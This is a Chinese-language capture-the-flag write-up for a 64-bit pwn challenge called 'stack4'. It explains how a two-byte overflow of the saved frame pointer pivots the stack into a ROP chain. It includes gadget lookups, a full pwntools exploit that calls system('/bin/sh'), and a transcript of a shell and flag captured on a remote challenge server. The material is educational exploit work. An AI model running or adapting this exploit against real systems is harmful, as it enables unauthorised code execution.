漏洞分析

题目

查看保护

1
2
3
4
5
6
7
8
┌──(root💀06aa46c0844f)-[/home/stack_pivoting]
└─# checksec stack4
[*] '/home/stack_pivoting/stack4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

程序会故意泄露buf的首地址(暂且不知道有啥用)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+10h] [rbp-100h]

setbuf(stdin, 0LL);
setbuf(_bss_start, 0LL);
setbuf(stderr, 0LL);
puts("welcome to stack4");
printf("here is a gift: %p\n", &buf, argv);
puts("input your name plz");
read(0, &buf, 0x100uLL);
print_name(&buf);
return 0;
}

print_name函数内部发生栈溢出,然而只是溢出了2个字节,不足以覆到返回地址

1
2
3
4
5
6
7
int __fastcall print_name(const void *a1)
{
char dest; // [rsp+10h] [rbp-30h]

memcpy(&dest, a1, 0x32uLL);
return printf("Hello %s\n", &dest);
}

但是,因为main和print_name函数的栈帧差距较小,因此溢出的2个字节完全可以覆盖成泄露的buf的地址,从而改变了main函数的rbp,调用print_name函数快结束时,leave等同于mov rsp, rbp;pop rbp,此时rbp就是buf的首地址,然后retn等同于pop rip,回到main刚刚调用完print_name的地方,后面就是main函数的结束恢复帧栈空间了,同理,后面的leave会先把rsp赋值为rbp,这样rsp指向的就是buf了,然后再去pop ebp和ret操作就去执行了我们再buf中构造好的ROP chain啦!

未覆盖时的栈帧结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
high address      
+--------------------+ <--+
+------> | previous rbp | |
| +--------------------+ |
| | ...... | |
| +--------------------+ | main()
| | buf | |
| +--------------------+ |
| | return address | |
| +--------------------+ <--+
+------- | previous rbp | |
+--------------------+ |
| ...... | | print_name()
+--------------------+ |
| dest | |
+--------------------+ <--+
low address

覆盖后的栈帧结构

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
high address      
+--------------------+
| previous rbp |
+--------------------+
| ...... |
+--------------------+
| ROP chain |
+--------------------+ <--+
+------> | buf | |
| +--------------------+ | main()
| | return address | |
| +--------------------+ <--+
+------- | previous rbp | |
+--------------------+ |
| ...... | | print_name()
+--------------------+ |
| dest | |
+--------------------+ <--+
low address

步骤

因为是64位程序,传参是通过寄存器,所以得先ROPgadget --binary stack4 --only "pop|ret" | grep rdi获取到寄存器保存参数和ret的地址为0x4008a3

1
2
3
┌──(root💀06aa46c0844f)-[/home/stack_pivoting]
└─# ROPgadget --binary stack4 --only "pop|ret" | grep rdi
0x00000000004008a3 : pop rdi ; ret

获取”/bin/sh”的地址为0x4008c9,ROPgadget --binary stack4 --string "/bin/sh"

1
2
3
4
5
┌──(root💀06aa46c0844f)-[/home/stack_pivoting]
└─# ROPgadget --binary stack4 --string "/bin/sh"
Strings information
============================================================
0x00000000004008c9 : /bin/sh

获取system的地址为0x40073a,objdump -d stack4 | grep 'plt'

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root💀06aa46c0844f)-[/home/stack_pivoting]
└─# objdump -d stack4 | grep 'plt'
Disassembly of section .plt:
00000000004005d0 <.plt>:
00000000004005e0 <puts@plt>:
4005eb: e9 e0 ff ff ff jmp 4005d0 <.plt>
00000000004005f0 <setbuf@plt>:
4005fb: e9 d0 ff ff ff jmp 4005d0 <.plt>
0000000000400600 <system@plt>:
40060b: e9 c0 ff ff ff jmp 4005d0 <.plt>
0000000000400610 <printf@plt>:
40061b: e9 b0 ff ff ff jmp 4005d0 <.plt>
0000000000400620 <read@plt>:
40062b: e9 a0 ff ff ff jmp 4005d0 <.plt>
0000000000400630 <memcpy@plt>:
40063b: e9 90 ff ff ff jmp 4005d0 <.plt>
40073a: e8 c1 fe ff ff call 400600 <system@plt>
400761: e8 ca fe ff ff call 400630 <memcpy@plt>
400779: e8 92 fe ff ff call 400610 <printf@plt>
4007a8: e8 43 fe ff ff call 4005f0 <setbuf@plt>
4007bc: e8 2f fe ff ff call 4005f0 <setbuf@plt>
4007d0: e8 1b fe ff ff call 4005f0 <setbuf@plt>
4007dc: e8 ff fd ff ff call 4005e0 <puts@plt>
4007f7: e8 14 fe ff ff call 400610 <printf@plt>
400803: e8 d8 fd ff ff call 4005e0 <puts@plt>
40081c: e8 ff fd ff ff call 400620 <read@plt>

构造出payload = p64(0xdeadbeef) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr) + ‘a’*16 + p64(buf_addr)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# encoding: utf-8
from pwn import *
#context.log_level = 'debug'

if __name__ == '__main__':
#r = remote("47.94.239.235", 2024)
r = process("./stack4")
rdi_ret_addr = 0x4008a3
sh_addr = 0x4008c9
system_addr = 0x40073a
r.recvuntil(":")
buf_addr = r.recvuntil("\n")
buf_addr = int(buf_addr[-15:-1], 16)
payload = p64(0xdeadbeef) + p64(rdi_ret_addr) + p64(sh_addr) + p64(system_addr) + 'a'*16 + p64(buf_addr)
r.recv()
r.send(payload)
r.interactive()

打通!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
🍎 ~/kali/ python exp.py
[+] Opening connection to 47.94.239.235 on port 2024: Done
[*] Switching to interactive mode
Hello ᆳ?
$ whoami
ctf
$ ls
bin
boot
dev
etc
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat home/ctf/flag
flag{a32fd27e21-d663-41c0-be6c-9cbb2d504823}